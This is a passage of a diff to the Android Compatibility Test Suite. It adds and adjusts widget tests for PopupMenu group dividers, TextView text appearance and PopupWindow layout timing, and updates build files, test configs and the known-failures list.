+ Magnifier magnifier = new Magnifier(view);
+ // Valid coordinates.
+ magnifier.show(10, 10);
+ magnifier.dismiss();
+ // Should be no-op.
+ magnifier.dismiss();
+ }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index 5ce73a8..3a85f47 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -40,6 +40,7 @@
import android.view.SubMenu;
import android.view.View;
import android.widget.EditText;
+import android.widget.ImageView;
import android.widget.ListView;
import android.widget.PopupMenu;
@@ -273,7 +274,7 @@
@Test
public void testItemViewAttributes() throws Throwable {
- mBuilder = new Builder().withDismissListener();
+ mBuilder = new Builder().withDismissListener().withAnchorId(R.id.anchor_upper_left);
WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, mBuilder::show, true);
Menu menu = mPopupMenu.getMenu();
@@ -303,6 +304,38 @@
}
}
+ @Test
+ public void testGroupDividerEnabledAPI() throws Throwable {
+ testGroupDivider(false);
+ testGroupDivider(true);
+ }
+
+ private void testGroupDivider(boolean groupDividerEnabled) throws Throwable {
+ mBuilder = new Builder().withGroupDivider(groupDividerEnabled)
+ .withAnchorId(R.id.anchor_upper_left);
+ WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, mBuilder::show, true);
+
+ Menu menu = mPopupMenu.getMenu();
+ ListView menuItemList = mPopupMenu.getMenuListView();
+
+ for (int i = 0; i < menuItemList.getChildCount(); i++) {
+ final int currGroupId = menu.getItem(i).getGroupId();
+ final int prevGroupId =
+ i - 1 >= 0 ? menu.getItem(i - 1).getGroupId() : currGroupId;
+ View itemView = menuItemList.getChildAt(i);
+ ImageView groupDivider = itemView.findViewById(com.android.internal.R.id.group_divider);
+
+ assertNotNull(groupDivider);
+ if (!groupDividerEnabled || currGroupId == prevGroupId) {
+ assertEquals(groupDivider.getVisibility(), View.GONE);
+ } else {
+ assertEquals(groupDivider.getVisibility(), View.VISIBLE);
+ }
+ }
+
+ teardown();
+ }
+
/**
* Inner helper class to configure an instance of {@link PopupMenu} for the specific test.
* The main reason for its existence is that once a popup menu is shown with the show() method,
@@ -315,6 +348,7 @@
private boolean mHasMenuItemClickListener;
private boolean mInflateWithInflater;
+ private int mAnchorId = R.id.anchor_middle_left;
private int mPopupMenuContent = R.menu.popup_menu;
private boolean mUseCustomPopupResource;
@@ -328,6 +362,8 @@
private View mAnchor;
+ private boolean mGroupDividerEnabled = false;
+
public Builder withMenuItemClickListener() {
mHasMenuItemClickListener = true;
return this;
@@ -360,8 +396,18 @@
return this;
}
+ public Builder withGroupDivider(boolean groupDividerEnabled) {
+ mGroupDividerEnabled = groupDividerEnabled;
+ return this;
+ }
+
+ public Builder withAnchorId(int anchorId) {
+ mAnchorId = anchorId;
+ return this;
+ }
+
private void configure() {
- mAnchor = mActivity.findViewById(R.id.anchor_middle_left);
+ mAnchor = mActivity.findViewById(mAnchorId);
if (!mUseCustomGravity && !mUseCustomPopupResource) {
mPopupMenu = new PopupMenu(mActivity, mAnchor);
} else if (!mUseCustomPopupResource) {
@@ -390,6 +436,10 @@
mOnDismissListener = mock(PopupMenu.OnDismissListener.class);
mPopupMenu.setOnDismissListener(mOnDismissListener);
}
+
+ if (mGroupDividerEnabled) {
+ mPopupMenu.getMenu().setGroupDividerEnabled(true);
+ }
}
public void show() {
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 330a92a..966fe19 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -1330,6 +1330,9 @@
mActivity.runOnUiThread(() ->
mActivity.setRequestedOrientation(orientation));
mActivity.waitForConfigurationChanged();
+ // Wait for main thread to be idle to make sure layout and draw have been performed
+ // before continuing.
+ mInstrumentation.waitForIdleSync();
View parentWindowView = mActivity.getWindow().getDecorView();
int parentWidth = parentWindowView.getMeasuredWidth();
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index ac90cb7..29ae05f 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -139,7 +139,6 @@
import android.view.inputmethod.ExtractedTextRequest;
import android.view.inputmethod.InputConnection;
import android.view.inputmethod.InputMethodManager;
-import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassifier;
import android.view.textclassifier.TextSelection;
import android.widget.EditText;
@@ -190,15 +189,9 @@
private static final TextClassifier FAKE_TEXT_CLASSIFIER = new TextClassifier() {
@Override
public TextSelection suggestSelection(
- CharSequence text, int start, int end, LocaleList locales) {
+ CharSequence text, int start, int end, TextSelection.Options options) {
return new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build();
}
-
- @Override
- public TextClassification classifyText(
- CharSequence text, int start, int end, LocaleList locales) {
- return new TextClassification.Builder().build();
- }
};
private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
@@ -4445,6 +4438,75 @@
assertEquals(null, mTextView.getTypeface());
}
+ @Test
+ public void testXmlTextAppearance() {
+ mTextView = findTextView(R.id.textview_textappearance_attrs1);
+ assertEquals(22f, mTextView.getTextSize(), 0.01f);
+ Typeface italicSans = Typeface.create(Typeface.SANS_SERIF, Typeface.ITALIC);
+ assertEquals(italicSans, mTextView.getTypeface());
+ assertEquals(Typeface.ITALIC, mTextView.getTypeface().getStyle());
+ assertTrue(mTextView.isAllCaps());
+ assertEquals(2.4f, mTextView.getLetterSpacing(), 0.01f);
+ assertEquals("smcp", mTextView.getFontFeatureSettings());
+
+ mTextView = findTextView(R.id.textview_textappearance_attrs2);
+ assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+ assertEquals(mActivity.getResources().getColor(R.drawable.red),
+ mTextView.getShadowColor());
+ assertEquals(10.3f, mTextView.getShadowDx(), 0.01f);
+ assertEquals(0.5f, mTextView.getShadowDy(), 0.01f);
+ assertEquals(3.3f, mTextView.getShadowRadius(), 0.01f);
+ assertTrue(mTextView.isElegantTextHeight());
+
+ // This TextView has both a TextAppearance and a style, so the style should override.
+ mTextView = findTextView(R.id.textview_textappearance_attrs3);
+ assertEquals(32f, mTextView.getTextSize(), 0.01f);
+ Typeface boldSerif = Typeface.create(Typeface.SERIF, Typeface.BOLD);
+ assertEquals(boldSerif, mTextView.getTypeface());
+ assertEquals(Typeface.BOLD, mTextView.getTypeface().getStyle());
+ assertFalse(mTextView.isAllCaps());
+ assertEquals(2.6f, mTextView.getLetterSpacing(), 0.01f);
+ assertEquals(mActivity.getResources().getColor(R.drawable.blue),
+ mTextView.getShadowColor());
+ assertEquals(1.3f, mTextView.getShadowDx(), 0.01f);
+ assertEquals(10.5f, mTextView.getShadowDy(), 0.01f);
+ assertEquals(5.3f, mTextView.getShadowRadius(), 0.01f);
+ assertFalse(mTextView.isElegantTextHeight());
+
+ // This TextView has no TextAppearance and has a style, so the style should be applied.
+ mTextView = findTextView(R.id.textview_textappearance_attrs4);
+ assertEquals(32f, mTextView.getTextSize(), 0.01f);
+ assertEquals(boldSerif, mTextView.getTypeface());
+ assertEquals(Typeface.BOLD, mTextView.getTypeface().getStyle());
+ assertFalse(mTextView.isAllCaps());
+ assertEquals(2.6f, mTextView.getLetterSpacing(), 0.01f);
+ assertEquals(mActivity.getResources().getColor(R.drawable.blue),
+ mTextView.getShadowColor());
+ assertEquals(1.3f, mTextView.getShadowDx(), 0.01f);
+ assertEquals(10.5f, mTextView.getShadowDy(), 0.01f);
+ assertEquals(5.3f, mTextView.getShadowRadius(), 0.01f);
+ assertFalse(mTextView.isElegantTextHeight());
+
+ // Note: text, link and hint colors can't be tested due to the default style overriding
+ // values b/63923542
+ }
+
+ @Test
+ public void testXmlTypefaceFontFamilyHierarchy() {
+ // This view has typeface=serif set on the view directly and a fontFamily on the appearance.
+ // In this case, the attr set directly on the view should take precedence.
+ mTextView = findTextView(R.id.textview_textappearance_attrs_serif_fontfamily);
+
+ assertEquals(Typeface.SERIF, mTextView.getTypeface());
+ }
+
+ @Test
+ public void testAttributeReading_allCapsAndPassword() {
+ // This TextView has all caps & password, therefore all caps should be ignored.
+ mTextView = findTextView(R.id.textview_textappearance_attrs_allcaps_password);
+ assertFalse(mTextView.isAllCaps());
+ }
+
@UiThreadTest
@Test
public void testAccessCompoundDrawableTint() {
diff --git a/tests/tests/widget/src/android/widget/cts/util/ListScenario.java b/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
index c4d4199..1d63c40 100644
--- a/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
+++ b/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
@@ -16,13 +16,6 @@
package android.widget.cts.util;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
import android.app.Activity;
import android.graphics.Rect;
import android.os.Bundle;
@@ -36,6 +29,13 @@
import android.widget.ListView;
import android.widget.TextView;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
/**
* Utility base class for creating various List scenarios. Configurable by the number
* of items, how tall each item should be (in relation to the screen height), and
@@ -390,6 +390,7 @@
mLinearLayout.addView(mListView);
setContentView(mLinearLayout);
}
+ mLinearLayout.restoreDefaultFocus();
}
/**
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
index bc6240d..b58bd2c 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
@@ -26,7 +26,7 @@
android-support-test \
legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
LOCAL_PREBUILT_JNI_LIBS_arm := wrap.sh
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
index 0c740e4..ef5b71e 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Debug Wrap (Malloc Debug) test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapWrapDebugMallocDebugTestCases.apk" />
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 9f0256c..ffbd6b1 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -23,8 +23,8 @@
<option name="compatibility:exclude-filter" value="CtsLocationTestCases android.location.cts.GnssTtffTests#testTtffWithNetwork" />
<!-- b/35314835 -->
- <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests#testAlwaysFocusablePipActivity" />
- <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests#testLaunchIntoPinnedStack" />
+ <option name="compatibility:exclude-filter" value="CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests#testAlwaysFocusablePipActivity" />
+ <option name="compatibility:exclude-filter" value="CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests#testLaunchIntoPinnedStack" />
<!-- b/17595050 -->
<option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText" />
@@ -126,6 +126,12 @@
<!-- b/36686383 -->
<option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
+ <!-- b/33090965 -->
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720" />
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
+
<!-- b/37482372 -->
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInOutPortraitTest" />
@@ -175,6 +181,9 @@
<option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
<option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
+ <!-- b/38280830 -->
+ <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
+
<!-- b/38420898 -->
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiChannel" />
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMultiChannel" />
diff --git a/tools/cts-tradefed/res/config/retry.xml b/tools/cts-tradefed/res/config/retry.xml
index cbecada..e488410 100644
--- a/tools/cts-tradefed/res/config/retry.xml
+++ b/tools/cts-tradefed/res/config/retry.xml
@@ -18,6 +18,10 @@
<device_recovery class="com.android.tradefed.device.WaitDeviceRecovery" />
<build_provider class="com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider" />
<test class="com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest" />
+
+ <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true" />
+ <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:false" />
+
<logger class="com.android.tradefed.log.FileLogger">
<option name="log-level-display" value="WARN" />
</logger>
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index b48187c..8c3d78f 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -25,7 +25,6 @@
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_TAGS := optional
LOCAL_JAVA_LIBRARIES := junit
--include cts/error_prone_rules_tests.mk
include $(BUILD_JAVA_LIBRARY)
cts-tf-dalvik-lib.jar := $(full_classes_jar)